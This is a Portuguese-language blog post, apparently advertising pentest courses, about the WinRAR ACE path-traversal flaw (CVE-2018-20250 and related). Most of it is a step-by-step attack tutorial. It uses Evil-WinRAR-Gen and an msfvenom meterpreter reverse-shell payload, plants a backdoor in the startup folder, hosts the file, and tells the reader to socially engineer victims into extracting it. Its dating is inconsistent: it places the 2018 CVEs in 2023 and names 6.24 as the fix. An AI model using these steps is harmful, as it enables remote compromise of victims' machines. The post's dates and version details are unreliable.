O WinRAR é um dos aplicativos de compactação de arquivos do Windows mais populares do mundo. Em 2023, o app sofreu graves falhas de segurança, corrigindo-as em seguida. Isso demonstra a importância de nos mantermos vigilantes em termos de segurança digital.
Uma das vulnerabilidades poderia ser explorada enganando um usuário a extrair arquivos maliciosos. Identificada no ano passado por research.checkpoint[.]com, ela afeta todas as versões lançadas nos últimos anos.
Você quer saber detalhes sobre as falhas de segurança no WinRAR e como explorá-las? Acompanhe e descubra!
Quais são as vulnerabilidades identificadas no WinRAR?
As falhas de segurança encontradas no aplicativo foram as seguintes CVE-IDs:
- CVE-2018-20250
- CVE-2018-20251
- CVE-2018-20252
- CVE-2018-20253
Versão Corrigida: WinRAR 6.24
Elas se devem à presença da biblioteca UNACEV2.DLL em todas as versões do WinRAR. O aplicativo utiliza o formato ACE para compactar e descompactar arquivos com a ajuda da UNACE.DLL.
Nas versões anteriores do WinRAR, incluindo a 5.61, há uma vulnerabilidade de passagem de caminho ao criar o campo de nome de arquivo do formato ACE (em UNACEV2.dll).
Quando o campo do nome do arquivo é manipulado com padrões específicos, a pasta de destino (para extração) é ignorada, tratando assim o nome do arquivo como um caminho absoluto. Isso ocorre devido à compilação inadequada quando unace.dll é utilizada.
Como explorar a vulnerabilidade?
Comece baixando um script Python, que vai gerar um arquivo malicioso no formato RAR. Após o download, instale as dependências necessárias:
- git clone https://github.com/manulqwerty/Evil-WinRAR-Gen.git
- cd Evil-WinRAR-Gen/
- pip3 install -r requirements.txt
Então, conceda permissões totais ao script Python na pasta Evil-WinRAR-Gen. Em seguida, gere um arquivo executável malicioso com a ajuda do msfvenom e nomeie-o como “winrar.exe”:
- chmod 777 evilWinRAR.py
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=1234 -f exe > winrar.exe
Logo depois, crie um arquivo de texto que será exibido para a vítima quando ela extrair o arquivo RAR para confundi-la:
- touch winrar.txt
Execute o script Python evilWinRAR.py com o arquivo executável e o arquivo de texto maliciosos, criando um arquivo malicioso que você pode enviar ao alvo:
- ./evilWinRAR.py -e winrar.exe -g winrar.txt
Em seguida, inicie um servidor HTTP simples para hospedar os arquivos maliciosos:
- python -m SimpleHTTPServer 8080
A vulnerabilidade permite a extração do arquivo malicioso em um caminho arbitrário. Com esse script, permitiremos a extração de arquivos RAR no diretório de inicialização do sistema.
Utilize a engenharia social para transferir o arquivo RAR malicioso para a vítima e aguarde até que ela reinicie a máquina para obter a conexão reversa do alvo.
Atualmente, não há nenhum programa de inicialização na máquina de destino. Assim que a vítima extrair o arquivo RAR malicioso “evil.rar”, nosso backdoor winrar.exe será extraído no diretório de inicialização.
Para garantir a execução do arquivo winrar.exe na inicialização, digite shell:startup no prompt de execução. Quando a vítima reiniciar a máquina, você obterá uma conexão reversa conforme demonstrado.
Você conferiu como explorar falhas de segurança no WinRAR. Para saber mais sobre hacking pentest, clique aqui e conheça os cursos da Solyd!